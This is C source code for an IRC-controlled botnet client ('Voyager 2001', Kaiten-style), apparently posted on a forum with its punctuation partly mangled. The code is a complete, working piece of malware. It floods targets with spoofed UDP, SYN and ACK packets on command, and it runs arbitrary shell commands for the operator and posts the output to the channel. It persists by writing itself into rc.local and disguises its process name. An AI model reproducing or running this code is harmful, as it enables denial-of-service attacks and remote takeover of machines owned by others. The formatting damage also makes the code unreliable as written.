کد PHP:
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#define NICK "b"
#define CHAN "#channel"
#define KEY "a"
#define SERVER "irc.network.com"
#define PORT 6667
#define TIMEOUT 60
#define CONTROL_CHAR '@'
int *pidscsum=0;
char *nick,disabled=0execfile[256];
unsigned long spoofs=0spoofsm=0numpids=0;
int mfork() {
    
int parent;
    if (
disabled == 1) return disabled;
    
parent=fork();
    if (
parent <= 0) return parent;
    
numpids++;
    
pids=(int*)realloc(pids,numpids);
    
pids[numpids-1]=parent;
    return 
parent;
}
unsigned long getspoof() {
    if (!
spoofs) return rand();
    if (
spoofsm == 1) return ntohl(spoofs);
    return 
ntohl(spoofs+(rand() % spoofsm)+1);
}
void filter(char *a) {
    while(
a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n'a[strlen(a)-1]=0;
}
long pow(long along b) {
    if (
== 0) return 1;
    if (
== 1) return a;
    return 
a*pow(a,b-1);
}
u_short in_cksum(u_short *addrint len) { 
    
register int nleft len;
    
register u_short *addr;
    
register int sum 0;
    
u_short answer =0;
    if (!
csum) return rand();
    while (
nleft 1) {
        
sum += *w++;
        
nleft -= 2;
    }
    if (
nleft == 1) {
        *(
u_char *)(&answer) = *(u_char *)w;
        
sum += answer;
    }
    
sum = (sum >> 16) + (sum 0xffff);
    
sum += (sum >> 16);
    
answer = ~sum;
    return(
answer);
}
int Send(int sockchar *words, ...) {
    static 
char textBuffer[1024];
    
va_list args;
    
va_start(argswords);
    
vsprintf(textBufferwordsargs);
    
va_end(args);
    return 
write(sock,textBuffer,strlen(textBuffer));
}
void checksum(int sockchar *senderint argcchar **argv) {
    if (
argc != 1) {
        
Send(sock,"NOTICE %s :CHECKSUM <on/off>\n",sender);
        return;
    }
    if (!
strcmp(argv[1],"on")) csum=1;
    else 
csum=0;
    
Send(sock,"NOTICE %s :Checksum has been turned %d.\n",sender,csum==1?"on":"off");
}
void dns(int sockchar *senderint argcchar **argv) {
    
struct hostent *hostm;
    
struct in_addr m;
    if (
mfork() != 0) return;
    if (
argc != 1) {
        
Send(sock,"NOTICE %s :DNS <host>\n",sender);
        exit(
0);
    }
    
Send(sock,"NOTICE %s :Resolving %s...\n",sender,argv[1]);
    if ((
hostm=gethostbyname(argv[1])) == NULL) {
        
Send(sock,"NOTICE %s :Unable to resolve.\n",sender);
        exit(
0);
    }
    
memcpy((char*)&mhostm->h_addrhostm->h_length);
    
Send(sock,"NOTICE %s :Resolved to %s.\n",sender,inet_ntoa(m));
    exit(
0);
}
void getspoofs(int sockchar *senderint argcchar **argv) {
    
unsigned long a=spoofs;
    if (
spoofsm == 1Send(sock,"NOTICE %s :Spoofs: 
%d.%d.%d.%d\n"
,sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
    else {
        
unsigned long b=spoofs+(spoofsm-1);
        
Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - 
%d.%d.%d.%d\n"
,sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
    }
}
void version(int sockchar *senderint argcchar **argv) {
    
Send(sock,"NOTICE %s :Voyager 2001: By bysin@efnet\n",sender);
}
void nickc(int sockchar *senderint argcchar **argv) {
    if (
argc != 1) {
        
Send(sock,"NOTICE %s :NICK <nick>\n",sender);
        return;
    }
    if (
strlen(argv[1]) >= 10) {
        
Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
        return;
    }
    
nick=strdup(argv[1]);
    
Send(sock,"NICK %s\n",nick);
}
void disable(int sockchar *senderint argcchar **argv) {
    
disabled=1;
}
void enable(int sockchar *senderint argcchar **argv) {
    
disabled=0;
}
void spoof(int sockchar *senderint argcchar **argv) {
    
char ip[256];
    
int inum;
    
unsigned long uip;
    if (
argc != 1) {
        
Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
        
spoofs=0;
        
spoofsm=0;
        return;
    }
    if (
strlen(argv[1]) > 16) {
        
Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 
169.40\n"
,sender);
        return;
    }
    
strcpy(ip,argv[1]);
    if (
ip[strlen(ip)-1] == '.'ip[strlen(ip)-1] = 0;
    for (
i=0num=1;i<strlen(ip);i++) if (ip[i] == '.'num++;
    
num=-(num-4);
    for (
i=0;i<num;i++) strcat(ip,".0");
    
uip=inet_network(ip);
    if (
num == 0spoofsm=1;
    else 
spoofsm=pow(256,num);
    
spoofs=uip;
}
struct ip {
    
unsigned int ip_hl:4;
    
unsigned int ip_v:4;
    
unsigned char ip_tos;
    
unsigned short ip_len;
    
unsigned short ip_id;
    
unsigned short ip_off;
    
unsigned char ip_ttl;
    
unsigned char ip_p;
    
unsigned short ip_sum;
    
struct in_addr ip_srcip_dst;
};
struct iphdr {
    
unsigned char ihl:4version:4;
    
unsigned char tos;
    
unsigned short tot_len;
    
unsigned short id;
    
unsigned short frag_off;
    
unsigned char ttl;
    
unsigned char protocol;
    
unsigned short check;
    
unsigned int saddr;
    
unsigned int daddr;
};
struct udphdr {
    
unsigned short source;
    
unsigned short dest;
    
unsigned short len;
    
unsigned short check;
};
struct tcphdr {
    
unsigned short source;
    
unsigned short dest;
    
unsigned int seq;
    
unsigned int ack_seq;
    
unsigned short res1:4doff:4fin:1syn:1rst:1psh:1ack:1urg:1ece:1cwr:1;
    
unsigned short window;
    
unsigned short check;
    
unsigned short urg_ptr;
};
unsigned int host2ip(char *hostname) {
    static 
struct in_addr i;
    
struct hostent *h;
    if((
i.s_addr inet_addr(hostname)) == -1) {
        if((
gethostbyname(hostname)) == NULL) {
            
fprintf(stderr"cant find %s!\n"hostname);
            exit(
0);
        }
        
bcopy(h->h_addr, (char *)&i.s_addrh->h_length);
    }
    return 
i.s_addr;
}
unsigned short in_cksum2(unsigned short *ptrint nbytes) {
    
register long sum=0;
    
u_short    oddbyte=0;
    while (
nbytes 1) {
        
sum += *ptr++;
        
nbytes -= 2;
    }
    if (
nbytes == 1) {
        *((
u_char *) &oddbyte) = *(u_char *)ptr;
        
sum += oddbyte;
    }
    
sum  = (sum >> 16) + (sum 0xffff);
    
sum += (sum >> 16);    
    return (
u_short)(~sum);
}
void udp(int sockchar *senderint argcchar **argv) {
    
unsigned int secs,port,i=0;
    
unsigned long psize,target;
    
struct sockaddr_in s_in;
    
struct packet {
        
struct ip ip;
        
struct udphdr udp;
        
char *buf;
    } 
packet;
    
int get;
    
time_t start=time(NULL);
    if (
mfork() != 0) return;
    if ((
get socket(AF_INETSOCK_RAWIPPROTO_RAW)) < 0) exit(1);
    if (
argc 3) {
        
Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
        exit(
1);
    }
    
target host2ip(argv[1]);
    
port atoi(argv[2]);
    
secs atoi(argv[3]);
    
psize 1500-(sizeof(struct ip)+sizeof(struct udphdr));
    
packet.buf=(unsigned char*)malloc(psize);
    
memset(packet.buf,10,psize);
    
Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
    
packet.ip.ip_hl 5;
    
packet.ip.ip_v 4;
    
packet.ip.ip_tos 0;
    
packet.ip.ip_len 1500;
    
packet.ip.ip_off 0;
    
packet.ip.ip_p 17;
    
packet.ip.ip_ttl 64;
    
packet.ip.ip_dst.s_addr target;
    
packet.udp.len htons(psize);
    
s_in.sin_family  AF_INET;
    
s_in.sin_addr.s_addr target;
    for (;;) {
        
packet.udp.source rand();
        if (
portpacket.udp.dest htons(port);
        else 
packet.udp.dest rand();
        
packet.udp.check in_cksum((u_short *)&packet,1500);
        
packet.ip.ip_src.s_addr getspoof();
        
packet.ip.ip_id rand();
        
packet.ip.ip_sum in_cksum((u_short *)&packet,1500);
        
s_in.sin_port packet.udp.dest;
        
sendto(get,(char*)&packet,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
        if (
>= 50) {
            if (
time(NULL) >= start+secs) exit(0);
            
i=0;
        }
        
i++;
    }
}
void pan(int sockchar *senderint argcchar **argv) {
    
struct send_tcp {
        
struct iphdr ip;
        
struct tcphdr tcp;
        
char buf[20];
    } 
send_tcp;
    
struct pseudo_header {
        
unsigned int source_address;
        
unsigned int dest_address;
        
unsigned char placeholder;
        
unsigned char protocol;
        
unsigned short tcp_length;
        
struct tcphdr tcp;
        
char buf[20];
    } 
pseudo_header;
    
struct sockaddr_in sin;
    
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,}, a=0;
    
unsigned int psize=20sourcedestcheck;
    
unsigned long saddrdaddr,secs;
    
int get;
    
time_t start=time(NULL);
    if (
mfork() != 0) return;
    if (
argc 2) {
        
Send(sock,"NOTICE %s :PAN <target> <secs>\n",sender);
        exit(
1);
    }
    if ((
get socket(AF_INETSOCK_RAWIPPROTO_RAW)) < 0) exit(1);
    {
int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
    
daddr=host2ip(argv[1]);
    
secs=atol(argv[2]);
    
Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
    
send_tcp.ip.ihl 5;
    
send_tcp.ip.version 4;
    
send_tcp.ip.tos 16;
    
send_tcp.ip.frag_off 64;
    
send_tcp.ip.ttl 64;
    
send_tcp.ip.protocol 6;
    
send_tcp.tcp.ack_seq 0;
    
send_tcp.tcp.doff 10;
    
send_tcp.tcp.res1 0;
    
send_tcp.tcp.cwr 0;
    
send_tcp.tcp.ece 0;
    
send_tcp.tcp.urg 0;
    
send_tcp.tcp.ack 0;
    
send_tcp.tcp.psh 0;
    
send_tcp.tcp.rst 0;
    
send_tcp.tcp.fin 0;
    
send_tcp.tcp.syn 1;
    
send_tcp.tcp.window 30845;
    
send_tcp.tcp.urg_ptr 0;
    while(
1) {
        
source=rand();
        
dest=rand();
        
saddr=getspoof();
        
send_tcp.ip.tot_len htons(40+psize);
        
send_tcp.ip.id rand();
        
send_tcp.ip.saddr saddr;
        
send_tcp.ip.daddr daddr;
        
send_tcp.ip.check 0;
        
send_tcp.tcp.source source;
        
send_tcp.tcp.dest dest;
        
send_tcp.tcp.seq rand();
        
send_tcp.tcp.check 0;
        
sin.sin_family AF_INET;
        
sin.sin_port source;
        
sin.sin_addr.s_addr send_tcp.ip.daddr;   
        
send_tcp.ip.check in_cksum2((unsigned short *)&send_tcp.ip20);
        
check rand();
        
send_tcp.buf[9]=((char*)&check)[0];
        
send_tcp.buf[10]=((char*)&check)[1];
        
send_tcp.buf[11]=((char*)&check)[2];
        
send_tcp.buf[12]=((char*)&check)[3];
        
pseudo_header.source_address send_tcp.ip.saddr;
        
pseudo_header.dest_address send_tcp.ip.daddr;
        
pseudo_header.placeholder 0;
        
pseudo_header.protocol IPPROTO_TCP;
        
pseudo_header.tcp_length htons(20+psize);
        
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp20);
        
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.bufpsize);
        
send_tcp.tcp.check in_cksum2((unsigned short *)&pseudo_header32+psize);
        
sendto(get, &send_tcp40+psize0, (struct sockaddr *)&sinsizeof(sin));
        if (
>= 50) {
            if (
time(NULL) >= start+secs) exit(0);
            
a=0;
        }
        
a++;
    }
    
close(get);
    exit(
0);
}
void tsunami(int sockchar *senderint argcchar **argv) {
    
struct send_tcp {
        
struct iphdr ip;
        
struct tcphdr tcp;
        
char buf[1400];
    } 
send_tcp;
    
struct pseudo_header {
        
unsigned int source_address;
        
unsigned int dest_address;
        
unsigned char placeholder;
        
unsigned char protocol;
        
unsigned short tcp_length;
        
struct tcphdr tcp;
        
char buf[1400];
    } 
pseudo_header;
    
struct sockaddr_in sin;
    
unsigned int psize=1400check,i,secs;
    
unsigned long saddrdaddr;
    
int get;
    
time_t start=time(NULL);
    if (
mfork() != 0) return;
    if (
argc 2) {
        
Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
        exit(
1);
    }
    
secs=atoi(argv[2]);
    if ((
get socket(AF_INETSOCK_RAWIPPROTO_RAW)) < 0) exit(1);
    
srand(time(NULL) ^ getpid());
    
memset(send_tcp.buf,rand(),psize);
    
daddr=host2ip(argv[1]);
    
Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
    while(
1) {
        
saddr=getspoof();
        
send_tcp.ip.ihl 5;
        
send_tcp.ip.version 4;
        
send_tcp.ip.tos 16;
        
send_tcp.ip.tot_len htons(40+psize);
        
send_tcp.ip.id rand();
        
send_tcp.ip.frag_off 64;
        
send_tcp.ip.ttl 64;
        
send_tcp.ip.protocol 6;
        
send_tcp.ip.check 0;
        
send_tcp.ip.saddr saddr;
        
send_tcp.ip.daddr daddr;
        
send_tcp.tcp.source rand();
        
send_tcp.tcp.dest rand();
        
send_tcp.tcp.seq rand();
        
send_tcp.tcp.ack_seq rand();
        
send_tcp.tcp.doff 5;
        
send_tcp.tcp.res1 0;
        
send_tcp.tcp.cwr 0;
        
send_tcp.tcp.ece 0;
        
send_tcp.tcp.urg 0;
        
send_tcp.tcp.ack 1;
        
send_tcp.tcp.psh 1;
        
send_tcp.tcp.rst 0;
        
send_tcp.tcp.fin 0;
        
send_tcp.tcp.syn 0;
        
send_tcp.tcp.window 30845;
        
send_tcp.tcp.check 0;
        
send_tcp.tcp.urg_ptr 0;
        
sin.sin_family AF_INET;
        
sin.sin_port send_tcp.tcp.dest;
        
sin.sin_addr.s_addr send_tcp.ip.daddr;   
        
send_tcp.ip.check in_cksum((unsigned short *)&send_tcp.ip20);
        
check in_cksum((unsigned short *)&send_tcp40);
        
pseudo_header.source_address send_tcp.ip.saddr;
        
pseudo_header.dest_address send_tcp.ip.daddr;
        
pseudo_header.placeholder 0;
        
pseudo_header.protocol IPPROTO_TCP;
        
pseudo_header.tcp_length htons(20+psize);
        
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp20);
        
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.bufpsize);
        
send_tcp.tcp.check in_cksum((unsigned short *)&pseudo_header32+psize);
        
sendto(get, &send_tcp40+psize0, (struct sockaddr *)&sinsizeof(sin));
        if (
>= 50) {
            if (
time(NULL) >= start+secs) exit(0);
            
i=0;
        }
        
i++;
    }
    
close(get);
    exit(
0);
}
void help(int sockchar *senderint argcchar **argv) {
    if (
mfork() != 0) return;
    
Send(sock,"NOTICE %s :This %s accepts the following commands via ctcp (with a #):\n",sender,NICK); 
sleep(2);
    
Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont 
be blocked by most firewalls\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the 
knight\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :GETSPOOF                                         = Gets the current 
spoofing\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :PAN <target> <secs>                              = An advanced syn flooder 
that will kill most network drivers\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = My special++ 
exploit\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a 
subnet\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :DNS <host>                                       = DNSs a host\n",sender); 
sleep(2);
    
Send(sock,"NOTICE %s :CHECKSUM <on/off>                                = Turns checksum on or 
off\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the 
server\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :SH <command>                                     = Executes a 
command\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :KILLALL                                          = Kills all current 
packeting\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :KILL                                             = Kills the 
knight\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting 
from this knight\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from 
this knight\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :VERSION                                          = Requests version of 
knight\n"
,sender); sleep(2);
    
Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
    exit(
0);
}
void killall(int sockchar *senderint argcchar **argv) {
    
unsigned long i;
    for (
i=0;i<numpids;i++) {
        if (
pids[i] != && pids[i] != getpid()) {
            
Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
            
kill(pids[i],9);
        }
    }
}
void killd(int sockchar *senderint argcchar **argv) {
    
kill(0,9);
}
struct FMessages char *cmdvoid (* func)(int,char *,int,char **); } flooders[] = {
    { 
"TSUNAMI"tsunami },
    { 
"NICK"nickc },
    { 
"CHECKSUM"checksum },
    { 
"PAN"pan },
    { 
"UDP"udp },
    { 
"GETSPOOFS"getspoofs },
    { 
"SPOOFS"spoof },
    { 
"DISABLE"disable },
    { 
"ENABLE"enable },
    { 
"DNS"dns },
    { 
"VERSION"version },
    { 
"KILLALL"killall },
    { 
"HELP"help },
    { 
"KILL"killd },
{ (
char *)0, (void (*)(int,char *,int,char **))} };
void _PRIVMSG(int sockchar *senderchar *str) {
    
int i;
    
char *to, *message;
    for (
i=0;i<strlen(str) && str[i] != ' ';i++);
    
str[i]=0;
    
to=str;
    
message=str+i+2;
    if (*
message != 1) return;
    if (
message[strlen(message)-1] != 1) return;
    
message[strlen(message)-1]=0;
    
message++;
    for (
i=0;i<strlen(sender) && sender[i] != '!';i++);
    
sender[i]=0;
    if (!
strncmp(message,"PING ",5)) Send(sock,"NOTICE %s :\01PING %s\01\n",sender,message+5);
    else if (!
strncmp(message,"VERSION",7)) Send(sock,"NOTICE %s :\01VERSION Opi Corp3.3.1.linux 
Edition\01\n"
,sender);
    else if (*
message == CONTROL_CHAR) {
        
char *params[12], name[1024]={0};
        
int num_params=0m;
        
message++;
        
Send(sock,"PRIVMSG %s :*** [%s] %s\n",CHAN,sender,message);
        if (!
strncmp(message,"IRC ",4)) { Send(sock,"%s\n",message+4); return; }
        else if (!
strncmp(message,"SH ",3)) {
            
char buf[1024];
            
FILE *command;
            if (
mfork() != 0) return;
            
command=popen(message+3,"r");
            while(!
feof(command)) {
                
memset(buf,0,1024);
                
fgets(buf,1024,command);
                
Send(sock,"PRIVMSG %s :%s\n",CHAN,buf);
                
sleep(1);
            }
            
pclose(command);
            exit(
0);
        }
        
m=strlen(message);
        for (
i=0;i<m;i++) {
            if (*
message == ' ' || *message == 0) break;
            
name[i]=*message;
            
message++;
        }
        for (
i=0;i<strlen(message);i++) if (message[i] == ' 'num_params++;
        
num_params++;
        if (
num_params 10num_params=10;
        
params[0]=name;
        
params[num_params+1]="\0";
        
m=1;
        while (*
message != 0) {
            
message++;
            if (
>= num_params) break;
            for (
i=0;i<strlen(message) && message[i] != ' ';i++);
            
params[m]=(char*)malloc(i+1);
            
strncpy(params[m],message,i);
            
params[m][i]=0;
            
m++;
            
message+=i;
        }
        for (
m=0flooders[m].cmd != (char *)0m++) {
            if (!
strcasecmp(flooders[m].cmd,name)) {
                
flooders[m].func(sock,sender,num_params-1,params);
                for (
i=1;i<num_params;i++) free(params[i]);
                return;
            }
        }
    }
}
void _376(int sockchar *senderchar *str) {
    
Send(sock,"MODE %s -xi %s\n",nick,nick);
    
Send(sock,"JOIN %s :%s\n",CHAN,KEY);
    
Send(sock,"MODE %s +tnsk %s\n",CHAN,KEY);
    
Send(sock,"WHO %s\n",nick);
}
void _PING(int sockchar *senderchar *str) {
    
Send(sock,"PONG %s\n",str);
}
void _352(int sockchar *senderchar *str) {
    
int i,d;
    
char *msg=str;
    
struct hostent *hostm;
    
unsigned long m;
    for (
i=0,d=0;d<5;d++) {
        for (;
i<strlen(str) && *msg != ' ';msg++,i++); msg++;
        if (
== strlen(str)) return;
    }
    for (
i=0;i<strlen(msg) && msg[i] != ' ';i++);
    
msg[i]=0;
    if (!
strcmp(msg,nick) && !spoofsm) {
        
msg=str;
        for (
i=0,d=0;d<3;d++) {
            for (;
i<strlen(str) && *msg != ' ';msg++,i++); msg++;
            if (
== strlen(str)) return;
        }
        for (
i=0;i<strlen(msg) && msg[i] != ' ';i++);
        
msg[i]=0;
        if ((
inet_addr(msg)) == -1) {
            if ((
hostm=gethostbyname(msg)) == NULL) {
                
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will 
have to SPOOFS me manually.\n"
,CHAN);
                return;
            }
            
memcpy((char*)&mhostm->h_addrhostm->h_length);
        }
        ((
char*)&spoofs)[3]=((char*)&m)[0];
        ((
char*)&spoofs)[2]=((char*)&m)[1];
        ((
char*)&spoofs)[1]=((char*)&m)[2];
        ((
char*)&spoofs)[0]=0;
        
spoofsm=256;
    }
}
void _433(int sockchar *senderchar *str) {
    
int on;
    
free(nick);
    
nick=(char*)malloc(10);
    
memcpy(nick,NICK,strlen(NICK));
    for (
on=strlen(NICK);on<9;on++) nick[on]='A'+((rand()-('A'-1))%('A'-('Z'+1)));
    
nick[9]=0;
    
Send(sock,"NICK %s\n",nick);
}
struct Messages char *cmdvoid (* func)(int,char *,char *); } msgs[] = {
    { 
"352"_352 },
    { 
"376"_376 },
    { 
"433"_433 },
    { 
"422"_376 },
    { 
"PRIVMSG"_PRIVMSG },
    { 
"PING"_PING },
{ (
char *)0, (void (*)(int,char *,char *))} };
int sock;
void con() {
    
signal(SIGALRM,exit);
    while(
1) {
        
struct sockaddr_in server;
        
unsigned long ipaddr;
        
int i;
        if ((
i=fork()) == 0) {
            if ((
sock socket(AF_INETSOCK_STREAM0)) == -1) exit(0);
            
server.sin_family AF_INET;
            
server.sin_port htons(6667);
            if ((
ipaddr inet_addr(SERVER)) == -1) {
                
struct hostent *hostm;
                if ((
hostm=gethostbyname(SERVER)) == NULL) exit(0);
                
memcpy((char*)&server.sin_addrhostm->h_addrhostm->h_length);
            }
            else 
server.sin_addr.s_addr ipaddr;
            
memset(&(server.sin_zero), 08);
            
alarm(15);
            if (
connect(sock,(struct sockaddr *)&serversizeof(server)) == 0) break;
            
alarm(0);
            exit(
0);
        }
        
waitpid(i,0,0);
        
kill(i,9);
    }
    
alarm(0);
    
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
    
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
    
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
}
int main(int argcchar **argv) {
    
char *user;
    
int on,i;
    
char cwd[256];
    
FILE *file=fopen("/etc/rc.d/rc.local","r");
    if (
file != NULL) {
        
char outfile[256], buf[1024];
        
int i=strlen(argv[0]), d=0;
        
getcwd(cwd,256);
        if (
strcmp(cwd,"/")) {
            while(
argv[0][i] != '/'i--;
            
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
            while(!
feof(file)) {
                
fgets(buf,1024,file);
                if (!
strcmp(buf,outfile)) d++;
            }
            if (
== 0) {
                
FILE *out;
                
fclose(file);
                
out=fopen("/etc/rc.d/rc.local","a");
                if (
out != NULL) {
                    
fputs(outfile,out);
                    
fclose(out);
                }
            }
            else 
fclose(file);
        }
        else 
fclose(file);
    }
    
getcwd(cwd,256);
    
i=strlen(argv[0]);
    while(
argv[0][i] != '/'i--;
    
sprintf(execfile,"\"%s%s\"",cwd,argv[0]+i);
    
strncpy(argv[0],"ps aux",strlen(argv[0]));
    for (
on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
    
srand((time(NULL) ^ getpid()) + getppid());
    
nick=(char*)malloc(10);
    
memcpy(nick,NICK,strlen(NICK));
    for (
on=strlen(NICK);on<9;on++) nick[on]='A'+((rand()-('A'-1))%('A'-('Z'+1)));
    
nick[9]=0;
    
user=(char*)malloc(10);
    
memcpy(user,nick+6,4);
    
user[4]='-';
    for (
on=5;on<9;on++) user[on]='a'+((rand()-('a'-1))%('a'-('z'+1)));
    
user[9]=0;
    if (
fork()) exit(0);
    while(
1) {
        
int i=fork();
        if (
== 0) break;
        
waitpid(i,0,0);
    }
    
con();
    
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,user,user);
    while(
1) {
        
unsigned long i;
        
fd_set n;
        
struct timeval tv;
        
FD_ZERO(&n);
        
FD_SET(sock,&n);
        
tv.tv_sec=60*20;
        
tv.tv_usec=0;
        if (
select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) exit(0);
        for (
i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
            
int *newpids;
            
unsigned long on;
            for (
on=i+1;on<numpids;on++) pids[on-1]=pids[on];
            
numpids--;
            
newpids=(int*)malloc(numpids);
            for (
on=0;on<numpids;on++) newpids[on]=pids[on];
            
free(pids);
            
pids=(int*)malloc(numpids);
            for (
on=0;on<numpids;on++) pids[on]=newpids[on];
            
free(newpids);
        }
        if (
FD_ISSET(sock,&n)) {
            
char buf[4096], *str;
            
int i;
            if ((
i=recv(sock,buf,4096,0)) <= 0) exit(0);
            
buf[i]=0;
            
str=strtok(buf,"\n");
            while(
str && *str) {
                
char name[1024], sender[1024];
                
filter(str);
                if (*
str == ':') {
                    for (
i=0;i<strlen(str) && str[i] != ' ';i++);
                    
str[i]=0;
                    
strcpy(sender,str+1);
                    
strcpy(str,str+i+1);
                }
                else 
strcpy(sender,"*");
                for (
i=0;i<strlen(str) && str[i] != ' ';i++);
                
str[i]=0;
                
strcpy(name,str);
                
strcpy(str,str+i+1);
                for (
i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) 
msgs[i].func(sock,sender,str);
                if (!
strcasecmp(name,"ERROR")) exit(0);
                
str=strtok((char*)NULL,"\n");
            }
        }
    }
    return 
0;